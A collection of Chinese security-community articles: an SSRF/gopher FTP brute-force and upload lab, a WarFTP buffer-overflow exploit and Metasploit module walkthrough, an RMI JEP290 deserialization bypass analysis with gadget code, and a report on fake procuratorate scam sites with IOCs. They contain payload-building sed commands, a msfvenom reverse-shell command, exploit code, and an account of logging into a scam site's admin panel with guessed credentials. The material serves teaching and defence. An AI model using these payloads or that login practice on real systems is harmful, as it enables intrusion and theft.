本次实验中192.168.73.150 为ssrf 漏洞服务器，192.168.73.130 为内网ftp 服务器。
**暴破密码**
内网中存在ftp 弱口令或者直接能未授权访问的几率相对较高，下面具体说一下如何使用ssrf +gopher 协议暴破ftp 口令。
第一步先本地模拟一遍访问ftp 的流量。
tcpdump -i lo -s 0 -w a.cap
curl ftp://vsftp:[email protected]/
然后把发送到21 端口的流量直接以ascii 保存下来，为了增加速度这里面的命令只用留下`USER``PASS``QUIT`这三条即可。
使用如下命令把保存下来的数据包进行url 编码两次得出poc，然后就可以丢到burp 的intruder 里进行暴破了。
cat 1|sed 's/ /%20/g'|sed ':a;N;s/\n/%0d%0a/;ta;'|sed -r 's/(.*)/gopher:\/\/192.168.73.130:21\/_\1/g'|sed 's/%/%25/g'|sed 's/:/%3a/g'
**上传文件**
ftp 在传输文件时有两条通道，一条命令通道一条数据通道，默认是21 端口为服务端命令通道的端口用于发送连控制接命令 ，20 或大于1023
的随机端口为服务器端数据传输通道端口用于传输文件。
命令通道和传输通道的流量大致如下：
而ftp 的工作模式又分为主动模式和被动模式。
主动模式是从客户端的非特殊端口（n>1023）连接到服务端的21 端口建立命令通道，然后服务端20
端口连接到客户端随机非特殊端口建立传输通道；被动模式是从客户端非特殊端口（n>1023）连接到服务端21 端口建立命令通道，然后再从客户端n+1
端口连接到服务端随机非特殊端口建立传输通道。
主动模式：
> 命令通道：客户端：非特殊端口 >> 服务端： 21端口
> 传输通道：客户端：非特殊端口+1 << 服务端： 20端口
被动模式：
> 命令通道：客户端： 非特殊端口 >> 服务端： 21端口
> 传输通道：客户端： 非特殊端口+1 >> 服务端： 非特殊端口
本次实验室采用了被动模式，ssrf 服务器向ftp 服务器建立多条命令通道后通过暴破的方式向ftp 服务器的各个端口建立传输通道，从而实现ftp
上传，传输通道的监听等待时间我这里测试是有五分钟，而对于没有开放的端口响应时间几乎没有，而且发越多不重复的建立命令通道的包就会有越多的传输通道被建立能增加暴破的命中率，所以应该是能完成暴破的。具体步骤如下。
先抓包本地lo 网卡，抓包的数据再编码成ssrf gopher payload，然后再进行一次url 编码提交给ssrf 服务器。
抓包本地lo 网卡
tcpdump -i lo -s 0 -w a.cap
我把抓到的tcp stream 直接使用ascii 据保为文件1。
删掉文件1 的末行`quit`命令，再复制出四个文件，并把stor 命令后的文件名重写为不一样的，ftp 储存时的文件名不一样才能建立多条数据通道。
使用如下命令对每个文件进行gopher 编码，顺便再url 编码出poc。
cat 1|sed 's/ /%20/g'|sed ':a;N;s/\n/%0d%0a/;ta;'|sed -r 's/(.*)/gopher:\/\/192.168.73.150:21\/_\1/g'|sed 's/%/%25/g'|sed 's/:/%3a/g'
我总共是弄了5个payload，最后poc 如下
然后在把传输通道的tcp stream 按如上步骤编码成gopher poc，在burp 的intruder 里在把poc
的端口部分加载荷，这里我线程设置的有点多，网络错误不重试。
为了监控整个实验过程的通道建立情况，我特意在ssrf 漏洞服务器和ftp 服务器中写了个小脚本监听相应的网络。
#ftp 服务器端监听脚本
#!/bin/bash
i=0
while true
do
x=$(netstat -pantu|grep 'vsftp'|grep -v ':21')
if [ -n "$x" ]
then
echo $i && i=$[$i+1]
echo -e "$x\n"
fi
done;
开启监听后，把浏览器里准备好的exp 都刷新一遍，然后开启burp intruder
的暴破，以下截图是有两条传输通道建立成功并成功传输了内容的时候（忽略文件名不规律这点）。
开了五条命令通道，但并没有成功建立五条传输通道，不是很明白具体的原因，多次测试下来大多数时候都是只能建立一两条传输通道。
关于gopher 用ftp 主动模式应该会更简便，但不知道是我本机ftp 服务的问题还是ftp 安全策略的原因，我没法在主动模式的时候让ftp
服务器主动连接除了建立命令通道机器外的ip，只能在建立命令通道的机器上使用nc 挂一个文件在端口上，然后使用主动模式让ftp
服务器连接这个端口取内容，鸡肋中的鸡肋，如果有大佬愿意指点一下小弟如何让ftp 服务器主动连接非命令通道机器的ip 小弟感激不尽。
另外关于gopher 的应用应该还有很多，但由于本人基础不扎实时间也比较有限只能先到此为止了，希望能和各位大佬多多探讨，文章有什么不足的地方还望多多指出。
## 参考链接
<https://www.cnblogs.com/xiaohh/p/4789813.html>
<https://blog.chaitin.cn/gopher-attack-surfaces/>
<https://www.freesoft.org/CIE/RFC/1738/16.htm>
<https://tools.ietf.org/html/rfc1436>
<http://ctf.ssleye.com/url.html> | 社区文章 |
# metasploit模块移植/开发--python篇
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
近期因小弟个人情况，更新比较慢，望见谅。第一篇文章中我们介绍了metasploit神器的基本情况，现在开始我们进入正题，开始学习漏洞分析调试并开发移植的工作，希望通过本系列课程大家都能学会编写/移植MSF的模块。
## 准备环境/工具
1. 攻击主机： parrot os （小伙伴们可以使用kaili） iP: 192.168.0.159
2. windows xp sp3 IP: 192.168.0.110
3. metasploit
4. Immunity Debugger
5. mona 插件
6. 存在漏洞软件：WarFTP 1.65 （下载地址：<https://pan.baidu.com/s/1xrU2kqUmBH0yhQswk5plCQ> ）
## 漏洞分析
下面我们开始漏洞分析调试工作，因为是第一篇我们先来个简单的分析一下，通过漏洞公布的信息可以知道，该FTP软件的“USER”处存在缓冲区溢出漏洞。现在我们来研究复现一下，我们先把这个软件拉到Immunity
Debugger里按‘F9’运行看一下：
程序已经正常运行，我们点击FTP软件上左上角的火箭小按钮开启FTP服务
下面我们使用nmap 探测一下，看FTP服务是否正常开启
可以看到21端口正常开启，服务名称为“WAR-FTPD 1.65”。
那么一切准备就绪，我们就开始我们的fuzzing之旅吧！！
我们先验证一下漏洞是否正式存在，先编写个小脚本验证一些，因为这篇是python篇，所以小弟用python脚本来完成这个工作，代码如下：
保存脚本并运行
脚本成功运行，并打印出我们想要打印的内容（为什么我要让他打印出接收到的内容哪，后面我们会说的），现在我们看一下靶机内的软件，已经按照正常预想的那样崩溃了，说明的我们的实验成功了，如图：
细心的小伙伴肯定看到了，ESP、EBP 都出现了一大堆“A”，而EIP 是”0x41414141”。
至于这3个分别代表什么意思呢，相信聪明的你因为会去google一下了解，因不是本系列的重点小弟在这里就不多细讲了。
下面我们的工作是找到该程序溢出的值，我们可以使用metasploit下的一个小工具完成地址为： **“/usr/share/metasploit-framework/tools/exploit/pattern_create.rb”**
切换到该目录下输入命令：./pattern_create.rb -l 1000
可以看到程序自动给我们生成了1000个字母数字并均不重复，下面我们将这些字符复制到上面的脚本中，重新执行看看会发生什么（此处记得把FTP程序也重启一下）
可以看到程序还是崩溃了，但是此时的EIP变成了“0x32714131”,这说明我们的工作都是有意义的，下面我们继续使用msf下的
“pattern_offset.rb”工具来查找他的偏移数，如图：
可以看到已经帮我找到偏移位为“485” （记录一下，后面我们用得到！）
下一步我们来验证一下这个偏移位置是否是正确的，这个非常重要，我们修改一下python脚本并运行，如图：
可以看到现在EIP地址变成了“0x46464646” 即“F”字母的16进制，而EBP栈底地址也变成了“CCCC”，这说明我们的偏移地址是正确的。
下面我们就来查找程序所调用的dll文件来控制EIP，让其跳转到我们想要执行的恶意shellcode，我们先查找dll文件，这里的方法很多，本次小弟使用的方法是：
打开Immunity Debugger — view — Executable modules
软件自动帮我们列出了该程序所调用的所有dll文件，如图：
下面呢小弟选择最下面的 shell32.dll 作为本次实验的dll文件，选择它后双击2下，即进入了该dll代码块，我们使用快捷键
“ctrl+f”来搜索关键字 “jmp esp” （如无也可以使用call
esp），可以看到程序已经帮我找到了一处调用点，地址为：0x7D711020。（记录一下这个地址）
**（这里强调一点，因为操作系统的不同每个JMP地址也会不一样，该地址本菜这里能用不代表您的系统就能使用！！！）** 如图：
下一步我们需要一个shellcde，这里我们可以使用msfvenom来帮我们完成这个工作，命令：msfvenom -p
windows/shell_reverse_tcp rhost=192.168.0.159 lport=5555 -b “x00x0ax0dx40x20”
-f python -v shellcode
最后我们修改一下那个python脚本，如图：
下面介绍一下代码：
第5行到第35行shellcode代码区（执行反弹命令）
第37行代码前面一段为485个A 用来填充内存，“7D711020”为上面找到了jmp
esp地址，因为是小端显示故是要反着写为“x20x10x71x7D”,
后面跟着20个“C”，为了防止我们的shellcode被覆盖，最后跟上我们的shellcode。
最后的第43行代码上面解释过了把拼接好的数据发送给FTP服务器并打印。（ **注意：“USER”
后面要跟上一个空格，否则漏洞将无法执行，这也就是我们上面要让代码打印出接收到的数据一样，可以看到“user name”中间是有一个空格的！** ）。
下面我们执行这个python脚本,并在攻击机器上运行nc来接收靶机的反弹，如图：
可以看到我们已经通过远程缓冲区溢出漏洞成功拿下了目标电脑！！
你以为文章这样就结束了吗？ NONONO 我们的重点才刚要开始！
## 模块移植
可能小伙伴们在网上看到的EXP就如上面的代码那样，但是如果我们在真实的渗透环境中碰到大型的网络环境下，多台机器存在该漏洞呢，难道也这样一个个接收吗？那我们就需要把该利用脚本移植到MSF来了。下面我们就学习怎么移植一个EXP到metasploit吧，我们可以使用“mona.py”插件来减少工作量，下载地址：<https://github.com/corelan/mona>
安装好以后纳，我们在Immunity Debugger下 输入 “!mona skeleton” 回车
弹出一个窗口，通过下拉选择 TCP，然后点OK
因为是21端口，所以我们就输入21，继续点OK
最后该插件自动帮我们生成了一个名为 “msfskeleton.rb”的文件，我们打开看一下
如图：
ruby的代码讲解小弟在上一篇文章，下面我们的工作就比较简单了，只需要填空就行。
如图中是小弟修改好的代码，小弟挑出几个比较重要的地方给大家说明一下，
1. 第9行代码处 表示引用了“/usr/share/metasploit-framework/lib/msf/core/exploit/ftp.rb”，很多FTP的方法都已经在那个文件内被定义好了，我们只需要调用就行。
2. 第33行代码处表示我们是在windows平台; 34行代码可以不设置也可以直接写入指定payload.
3. 第36行代码表示写入需要过滤的一些坏字节
4. 第44行代码是我们在调试时发现是jmp esp地址（上面有记录），方便下面调用
5. 第63行代码开始就是我们的EXP，ruby中的“<<” 等于 python 中的 “+=”， 如图做个演示
如果不敢确定代码是否写对了，可以使用“/usr/share/metasploit-framework/tools/dev/msftidy.rb”验证一下，如图：
最后我们来验证一下这个代码是否真的可用，如图：
可以看到我们已经成功通过自己写的模块入侵了靶机。
## 结束
小弟非专业码农，写代码习惯可能不好，没写注释啥的。请各位大佬别见怪！如果文章哪里写的不对，还请大家斧正。最后祝大家生活愉快，工作顺心！！
审核人：yiwang 编辑：边边 | 社区文章 |
# RMI Bypass Jep290（Jdk8u231）反序列化漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Hu3sky@360CERT
## 0x01 漏洞简述
随着RMI的进步一发展，RMI上的反序列化攻击手段正逐渐增多，该类漏洞最近正受到愈加广泛的关注。
RMI (Java Remote Method Invocation) 是Java远程方法调用，是一种允许一个 JVM 上的 object 调用另一个
JVM 上 object 方法的机制，在Java RMI 的通信过程中存在反序列化漏洞，攻击者能够利用该漏洞造成代码执行，漏洞等级：高危。
在JDK8u231之前的JDK版本，能够让注册中心反序列化UnicastRef这个类，该类可以发起一个JRMP连接到恶意服务端上，从而在DGC层造成一个反序列化，因为DGC层的filter是在反序列化之后进行设置的，没有起到实际作用，在JDK8u231进行了修复，在DGC层反序列化之前就为InputStream设置了filter，来过滤传入的序列化数据，提高安全性。
国外安全研究人员@An Trinhs发现了一个gadgets利用链，能够直接反序列化UnicastRemoteObject造成反序列化漏洞。
该漏洞的相关技术细节已公开。
对此，360CERT建议广大用户及时将JDK升级到最新版本，下载地址为：[Java SE
Downloads](https://www.oracle.com/java/technologies/javase-downloads.html)
。与此同时，请做好资产自查以及预防工作，以免遭受黑客攻击。
## 0x02 影响版本
* JDK：<=8u231
## 0x03 漏洞详情
JEP290机制是用来过滤传入的序列化数据，以提高安全性，在反序列化的过程中，新增了一个filterCheck方法，所以，任何反序列化操作都会经过这个filterCheck方法，利用checkInput方法来对序列化数据进行检测，如果有任何不合格的检测，Filter将返回Status.REJECTED。但是jep290的filter需要手动设置，通过setObjectInputFilter来设置filter，如果没有设置，还是不会有白名单的。
jdk9向下增加jep290机制的jdk版本为。
Java™ SE Development Kit 8, Update 121 (JDK 8u121)
Java™ SE Development Kit 7, Update 131 (JDK 7u131)
Java™ SE Development Kit 6, Update 141 (JDK 6u141)
### UnicastRemoteObject.readObject
当我们反序列化UnicastRemoteObject这个类时，由于该类重写了readObject方法，所以在反序列化的时候会调用到他的reexport方法。
在reexport方法里，如果ssf是被我们设置了值，那么进入else判断
接着调用exportObject方法，该方法通常用来导出远程对象。
一直跟进，跟到TCPTransport.exportObject方法。
继续跟进listen方法，跟进TCPEndpoint.newServerSocket方法。
这里如果我们把ssf设置为通过RemoteObjectInvocationHandler生成的代理类，那么就会调用到RemoteObjectInvocationHandler.invoke方法。（这里涉及到动态代理的知识，如果调用通过InvocationHandler的实现类生成的代理类，那么会转而调用实现类的invoke方法，并且会向invoke方法传入三个参数:代理类对象作为proxy参数传入，调用的代理类方法作为method参数传入，具体方法的参数作为args参数传入），在invoke方法中，检测声明方法的类，如果不为Object，进入invokeRemoteMethod方法。
检测Proxy的需要实现Remote接口，这里是我们能控制的，因为在创建代理类的时候就需要指定实现的接口，这里的ref被赋值为UnicastRef，并且存有恶意服务端（这里我们的注册中心一端转变成客户端，而恶意监听的一端相当于服务端）的tcp信息，这里是我们在序列化数据的时候设置的。
### UnicastRef.invoke
然后，有几处代码比较关键。
第一处：是和服务端建立连接。 第二处：向服务端传递一些byte信息。
第三处：获取OutputStream，进行远程方法传参，这里涉及到调用marshalValue序列化参数传递给服务端，不过这一处与本次绕过关系不大，所以用的细线标注。
第四处：服务端反序列化参数之后，会向客户端传值，如果服务端反序列化成功，会发送byte值1给客户端，如果发生一些错误，就会发送byte值2给客户端。
这里的byte值1和2主要体现在客户端的executeCall方法里，
可以发现，如果客户端接受到服务端返回的byte值是2，那么就有一个readObject方法，而且我们看到getInputStream之后，并没有给该Stream设置jep290的filter，那么这里就可以造成注册中心（客户端）的反序列化。
调用栈
readObject:431, ObjectInputStream (java.io)
executeCall:252, StreamRemoteCall (sun.rmi.transport)
invoke:161, UnicastRef (sun.rmi.server)
invokeRemoteMethod:227, RemoteObjectInvocationHandler (java.rmi.server)
invoke:179, RemoteObjectInvocationHandler (java.rmi.server)
createServerSocket:-1, $Proxy0 (com.sun.proxy)
newServerSocket:666, TCPEndpoint (sun.rmi.transport.tcp)
listen:335, TCPTransport (sun.rmi.transport.tcp)
exportObject:254, TCPTransport (sun.rmi.transport.tcp)
...
exportObject:346, UnicastRemoteObject (java.rmi.server)
reexport:268, UnicastRemoteObject (java.rmi.server)
readObject:235, UnicastRemoteObject (java.rmi.server)
### 漏洞利用
1. 需要一个向服务端发起JRMP连接的UnicastRef，这里ysoserial有相关代码，并且在LocateRegistry.getRegistry里也有相应代码。
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(ip, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
2. 创建RemoteObjectInvocationHandler的代理类，ssf是RMIServerSocketFactory类型。
RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(ref);
RMIServerSocketFactory rmiServerSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(
RMIServerSocketFactory.class.getClassLoader(), new Class[] {
RMIServerSocketFactory.class, Remote.class
}, remoteObjectInvocationHandler);
3. 将ssf的值设置成创建的代理类，但是由于是private类型，所以需要用反射来赋值。
Constructor<?> constructor = UnicastRemoteObject.class.getDeclaredConstructor(null);
constructor.setAccessible(true);
UnicastRemoteObject clz = (UnicastRemoteObject) constructor.newInstance(null);
Field ssf = UnicastRemoteObject.class.getDeclaredField("ssf");
ssf.setAccessible(true);
ssf.set(clz,rmiServerSocketFactory);
然后我们利用Server端进行bind，让注册中心反序列化这个UnicastRemoteObject对象，不过序列化的时候出现了问题，在调用RegistryImpl_Stub.bind的时候，进行writeObject的时候。
如果enableReplace为true。
检测我们要序列化的obj，是否实现Remote/RemoteStub，由于UnicastRemoteObject实现了Remote，没有实现RemoteStub，于是会进入判断，就会替换我们的obj，以至于反序列化的时候不能还原我们构造的类。
所以，需要把enableReplace改为false。这里可以自己实现重写RegistryImpl_Stub，将bind方法进行修改，在序列化之前，通过反射，把enableReplace值进行修改。
4. 恶意服务端只需要利用ysoserial.exploit.JRMPListener开启，监听到来自客户端的请求之后，就会向客户端发送byte值2，并序列化恶意类，最终让客户端反序列化恶意类。
### jdk8u241中的修复
在jdk8u241进行了修复，在调用UnicastRef.invoke之前，做了一个检测。
声明方法的类，必须要实现Remote接口，然而这里的RMIServerSocketFactory并没有实现，于是无法进入到invoke方法，直接抛出错误。
## 0x04 时间线
2020-07-24 360-CERT 发布分析报告
## 0x05 参考链接
1. [AN TRINHS RMI REGISTRY BYPASS](https://mogwailabs.de/blog/2020/02/an-trinhs-rmi-registry-bypass/) | 社区文章 |
# 冒充最高检网络电信诈骗之追溯
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
## 引子
人在做,天在看。
诈骗,跟生物的历史一样长,而且永远都会存在。每当人类拓展出一片新的生存环境,诈骗也立即随之而来生根发芽。如今,有了网络,由于不受地域和时间的限制,诈骗更能玩得花样百出,让人叹为观止,挑战的只有人的想像力,360天眼实验室的前一篇文章分析的巧妙操纵受害者的电信补卡攻击即为一例。但是,不管方法手段如何,利用的始终都是人性的弱点:恐惧和贪婪。
贪婪会让你相信香港富商的漂亮妻子竟能出来借腹生子,所以也就有了成语利令智昏。而恐惧的威力则更为强大,特别是来自我国最高检查院的可能直接威胁人身和财产安全的问罪,没错,今天给大家揭露的就是当前最火的冒充最高检的财务诈骗。
## 问题有多严重
让我们看看就在前两天刚发出来的一个新闻:
一年超100亿钱流入台湾,最近就有被骗2000万的。
注意,这些诈骗所得几乎是纯利,对比一下:国内整个安全市场也就百亿的规模,纯利可能都到不了那个数,这就能理解黑产为什么会有那么强的动机和能力,为什么大陆警方会不远万里跑到非洲的肯尼亚去抓人。
看看大陆与台湾近期在人员管辖权上的过招,电信诈骗影响已经不仅局限于经济领域,甚至开始对两岸的关系造成影响。
诈骗犯怎么做的呢,下面的新闻内容说了个大概:
下面,360天眼实验室依靠威胁情报中心的数据向大家展示更多的细节。
## 基本套路
电信诈骗有很多套路,下面的这个流程只是其中之一,实际的过程往往比下面这些简单的描述要狗血得多。
1、诈骗犯一般会从不法分子手中买入一些个人信息,对信息进行筛选,这可以理解为一个单方向的面试过程,当然,面试通过的话你就要倒霉了。
2、对筛选出来的目标通过如下这样的网络传真平台发诈骗短信,或者直接通过VOIP拨打诈骗电话。
3、通常的话术,诈骗犯一般会说你有一个快递没有收取或者其他的借口和你搭话,会告诉你身份证可能被人盗用,让你去拨打公安局的电话。他会诱导你拨打114查公安局的电话,然后挂断电话说待会公安局的警官会和你联系。之后,他们会用改号软件改成114能查到的当地公安电话号码来电,此时如果你用114查过号码的话就会以为真的来自公安局。
4、好了,通过上面这步,基本的信任有了。对方会让你去一个安静的地方接听电话,不能告诉任何人,然后会通知你一个案件编号,引导你去他们提供的假冒最高检网站上去查询你的案件信息。当然,你的所谓涉案法律文书早就为你准备好了,你一查询就能看到。
5、到这儿,考验智商和社会经验的时候到了,你如果信以为真任由恐惧操纵,等着你的就会是个大坑。对方会指示你配合他们进行资产清查,就是让你把银行卡里的钱转到所谓的安全账户。为了得到你的认证信息,对方会让你去假冒的最高检网站去填一个表格,当然会包括开户行、银行卡号、身份证号、银行卡密码和U盾密码等。光认证信息还不够,对方还会让你下载一个什么安全控件(也就是定制过加了料的Teamviewer远控服务端)运行。木马运行以后会把登录ID和密码发送给对方,Teamviewer的程序打的有正常软件公司的数字签名,所以能很轻松的绕过杀毒软件。
6、好了,对方这时既知道了你的银行卡信息又能操纵你的电脑。接下来就得真的开始弄钱了,对方会让你插上U盾,去用你之前填的银行卡的信息去查看余额帮你转账,当然会编个理由让你不要看电脑屏幕。如果需要按U盾进行一次确认的话,对方会让你按下U盾或者一直按着U盾的确认键来完成转账操作,这个过程中电话是一直不会挂掉且你会着了魔一样全程配合,多么奇妙的世界。
7、当所有的钱都转账成功后,他们会把电话挂掉,因为这个号码是通过VOIP电话打的,所以你回拨过去也打不通,也找不到人。受害者就这么苦逼的被骗得身无分文,有的受害者知道真相后,往往接受不了会轻生,这又真的是个残酷的世界。
套路图示如下:
诈骗团伙一般会有如下分工:
1、从购买的用户信息中筛选出有价值的人,为诈骗者做铺垫。
2、实施电话诈骗的人。
3、负责转账的人,他们需要在大陆买身份证和银行卡,把现金迅速从一张卡转到无数张卡中。
4、负责去取款机取钱的人。
5、提供诈骗工具的人,比如定制Teamviewer木马、使用改号软件和伪造检察院的网站系统。
6、做免杀的人,一般是通过签发正常的数字证书来逃避杀软的检测。
7、注册域名和虚拟主机的人,因为域名很容易被杀毒软件拦截,所以需要定期的更换域名和服务区,这些都是网站后台维护人员做的工作。
## 追溯
### 钓鱼与恐吓
查询360威胁情报中心的黑URL 库很容易就能在各种钓鱼网站中发现我们关注的目标:中华人民共和国最高人民检察院冒充网站。
下面的网址是众多中的一个:
[http://392.5784939.com/](http://392.5784939.com/)
打开网站会要求让输入一个案件编号:
进入之后,显示一个和检察院一模一样的网站界面,不注意域名的话完全以假乱真。如图:
诈骗犯会提示从这个网站上下载一个检察院徽章图标的所谓安全监控软件,这个软件其实是一个定制版本的Teamviewer服务端,其中预置了口令,受害者执行后,诈骗犯会找受害者要ID,受害者把ID告诉诈骗犯后,诈骗犯会去用Teamviewer输入该ID和预制的口令连接到受害者的机器,受害者的机器就直接落入诈骗犯之手。软件界面:
可以在Teamviewer的官网定制:
还有被木马作者修改后的这种工具,被修改后的工具我们在后面详细分析,让我们再回到那个钓鱼网站上来,运气不错,我们拿扫描器找到了后台管理界面:
http://392.5784939.com/****/admin/default.asp
这还不够,我们还猜到了用户名口令,其实不复杂:admin/admin888
。进去以后发现一个意外的小礼物,管理页面被挂了利用CVE-2014-6332漏洞的马,函数名童叟无欺:runmumaa,如图。
很明显,会从
[http://google.giveyoucolortoseesee](http://google.giveyoucolortoseesee)(.)com/Windows.KB59826158.exe
下载看起来像Windows补丁的程序执行,连接 test.ko3c.com 做C&C通信,完成各种木马功能。域名注册信息如下:
域名和木马我们就不分析了,有兴趣的同学自己可以挖挖看。猜猜挂马的目的是什么?黑吃黑?搞非授权访问的人?
再回过头来看从后台我们能看到些什么,看起来钓到了不少身份证号、银行卡账号和密码:
这些数据是受害者从“网上清查”这个链接进入到一个页面后填进去的:
除了钓鱼得到的这些信息,更重要的是那些已经内置的数据,诈骗犯事先添加好的目标案件,包括案件名称、编号、身份证号:
还有用身份证的头像照片制作的假冒检察院公文:
可能会有人好奇身份证头像照片怎么会在这个通辑令上?因为诈骗犯在拿到姓名、身份证号后,可以通过某些接口下载获取不打网格的身份证头像。在假冒最高检网页找到的受害者查询自己是否“涉嫌犯罪”的入口地址为:http://392.5784939.com/main/ajcs/ajgl.asp
,界面如图:
输入诈骗犯告之受害者的的案件编号和受害者身份证号,可以查询是否真的被通缉。挺唬人的是不是?一般没见识的真有可能吓尿,更相信诈骗犯的话术,从而对他们进一步的指令言听计从,因为里面的涉及照片和名字还有身份证号,都是准确无误的。
### 远控木马
我们检查了从钓鱼网站下回来的那个Teamviewer远控,在360威胁情报中心的数据库中通过文件名和图标做关联样本分析,发现了一堆同源样本:
其中一些带了一个数字签名:
如之前所说,这是一个被木马作者修改和重新打包后的Teamviewer安装包:
安装成功后,安装目录下的所有的文件,其中包括Teamviewer的正常文件和木马作者写的执行后门功能的文件:
桌面的快捷方式指向StartTm.exe :
该样本会把同目录下的StartTmSrv.exe带参数(/install /silent)静默运行起来,如图:
而StartTmSrv.exe会运行起来同目录下的Procuratorate.exe,会定时从[http://server-teamviewer.com/update/StartTm/](http://server-teamviewer.com/update/StartTm/)
下载更新文件,如图为所提取的字符串,server-teamviewer.com域名为假冒的正常网站:
同目录下的Procuratorate.exe运行起来后会加载同目录下的LoadResource.dll,同时运行起来真正的teamviewer的服务进程tv_w32.exe和隐藏teamviewer窗口的进程hdnWnd.exe,然后该进程会去读取同目录下的配置文件main.ini中的serverip键值,把获取到的teamviewer的ID、密码和网卡的MAC发送到服务器,下图为配置文件指定的IP,和发送数据包到该IP的数据包截图:
使用最新版的Teamviewer去连接木马发送出去的ID和密码,发现不但能连接过去控制电脑,而且和正常的Teamviewer不一样的是在右下角没有任何提示的窗口,而且找不到任何使被害者结束被诈骗犯控制的按钮,如图:
木马大致的执行流程图如下:
## 最后的话
本文只是对冒充最高检的诈骗案件中部分技术层面的东西做了剖析,远没有涉及这套诈骗的全流程细节,对黑产学习了解永无止境。
每当分析这类诈骗案例时,特别是回顾整个过程中的狗血交互时,我们总会惊诧于受害者的愚蠢和轻信,然而在基数够大的情况下总能找到足够多的对象。因此,除了尽可能地向潜在的受害对象传播诈骗团伙的套路以外,对诈骗团伙的强力打击也必须跟上。这个,远不是技术层面上可以解决的问题。
尽管对手用了很多花招对抗侦察,其实只要统筹多方面的数据分析定位诈骗团伙技术上并没有想象的那么困难。可是,技术手段有它的边界,当我们定位到了犯罪分子,而对其采取现实中的行动却会发现往往超出了办案方的管辖能力。唯有搁置眼前利益之争的合作连接才有可能缓解问题,这也是今年RSA的主题。
## IOC
我们整理了部分冒充最高检诈骗相关的IOC,来自360威胁情报中心,希望对业界有帮助,共同研究,谋划对策。
同类冒充最高检诈骗网站
---
http://568.5983091.com/main/index-2.asp
http://897.459482.com/main/index.asp
http://356.459482.com/main/index.asp
http://658.019482.com/main/gjgb/index.asp
http://110.283401.com/main/index.asp
http://151.394851.com/main/index-2.asp
http://858.382913.com/main/index.asp
http://206.382913.com/main/index.asp
http://034.748230.com/main/yfzwfz/index.asp
http://139.030192.com/main/ajcs/ajgl.asp
http://640.958391.com/main/index.asp
http://890.483924.com/main/ajcs/ajgl.asp
http://804.491780.com/main/index.asp
http://084.178925.com/main/index.asp
http://601.3021.co/main/index.asp
http://349.1239.co/main/index.html
http://982.8392.im/main/index.asp
http://017.2178.im/main/ajcs/adjgsd.asp
http://438.1239.co/main/index.asp
http://021.054309.com/main/index.html
http://325.8943.co/main/ajcs/adjgsd.php
http://289075.com/main/ajcs/ajgl.html
http://289075.com/main/index.html
http://981.7418.tv/main/index.html
http://185.53.130.28/main/index.html
http://071.7526.im/main/ajcs/adjgsd.php
http://071.7526.im/main/index.html
http://www.spp.gov.cn.2653.biz/Main/
http://9160.2653.biz/main/CheckSystem.zip
http://5739.5136.biz/main/
http://9160.51956110.cn/main/
http://52131.51956110.cn/main/CheckSystem.zip
http://52131.51956110.cn/main/
http://37293.7847827.cn/main/CheckSystem.zip
http://5729.51956110.cn/main/
http://9670.53110.biz/main/
http://www.mufg.jp.333119.org/investors/index.html
相关恶意文件HASH
---
0e3ab3faa2169a0f1a66e6253bd1986a
a17b706ea09da6e3ed140e85bf406557
a8fe099980edca981f1bb6fa8ecb83e6
e6f57e88429c3789165df858e6133408
6cb29d5bdae8aa05cd69c427e44fb1dc
749dd87b2670859c5c8492f0ada15631
155b9ca0c1975c6acffae314e97e0ee9
168737718b68f88a516533966547f638
1f65da0031d7465de28ab7306f41e447
262f0741f062b297cec1d916dd31cf54
2ca92ca4ac2a612d3eb204c3acdb7908
35addf537e9238c349722d03c2179bd9
3f3a2d94d00a0fe3aaafc738030a7195
423d19f804e36dc968c4bd25b9b76548
437e5dc2f3e8ef7186c70015a7ee478d
46f931620400cf30f6e2a2f3eafd62ed
52bf88483bfd168c4359c255b56a0544
53ce6e49019ae05213cfbdc654964cf4
54040c55f35758581d097758f06a310b
56bf1148ccb7e9a17927ee065ec3d264
57c4903b426b59cdd75db396d446b357
593f3391398f2ee03af3908ca22a3dc0
59d5e41ada56663cf75c180e12ceba31
5c3352c681069786c491576128da0608
72516e3fdeac6e5761c0df9c64369ed8
72820c464d912126c49de29b450b11d9
73643d36350bd8605d4509162c361592
74095a5d3e82d1cb130b78ddd94b4a75
7a3a2a075abd655bb5e40d03285c20f2
89a1ec8c8102686f0f0cd810ad87a213
8db0ccc95631a481fb505ee41eac300e
908d21725db49e0564e6b986396bf6c4
9641a2f9613ed1f3bd455daab7cc5c05
98f1775d721480d127142fb2f01c1551
9f0eb6450ac5742a75bbc77794a94361
a071471e75b99ee50fcd7cf4ea3fcd81
a7397407477aa4652652daeb78281344
a9b39456f498e54d843085ddcbbeda83
aba39a9b99e19f4e9b8e9341141cc05f
bc36cb585b24f33b042bae02847ba454
c7a76ef057ed948cc4502f714b509f72
d0e0f3e8c749111a9ade81d3b9b4e2bc
d6e2fce5d27974153e79fd665e28e898
d74e3d5b8aacc86060fb2681f2add879
da1726b0bf8273ac1977a6fd11b201b7
df8484f2ac26da8799da5ff382ad6969
e918e6bedd2467fc8a32c0b55dafa63b
ed646bd71556177228b10e16315f6f6f
eeef8b11e4e4d6ac06d16cffda57656b
f3c2b9c7d4e5ce5da462a760fab32156
f4e13d368670a4357687247d2e91debb
fa7f245c1bb3bf4508a16581f65fb5dc
fdeb5f8055679e7b8d027ca2fb8cc3bc
859a35d318939ed2223a8cf8cb6e36dc
50b9a525576a1d6ec8d3561c0a5a310a
3860b946b8d9b8d38ee1ee7d64406e61
7b3b2c77c89cfa3034092ce4b4f9dd58
d2c55c8b33866df2ce9569d3d35b8128
08afa237e10a6f0cdafa33c1e098280d
0560efa41ddd9c45f77d30387512c455
6a1964a9ff7c91d769cd67d207faef00
a17dffdba47925274a6ec3447aa55f5e
cc4afebfff95dea3ad0761af04f97d3b
807dc68d1b436225599f6a5adc70d00e
8da11a1543c93d173ac1440930108934
4c9afb2c8ccf90449da2b7d467921c12
d7b5a61351239ca7002564aed2308156
6da7b5f623365a74e16a868a3e722825 | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接：<https://www.lacework.com/the-kek-security-network/>**
## 前言
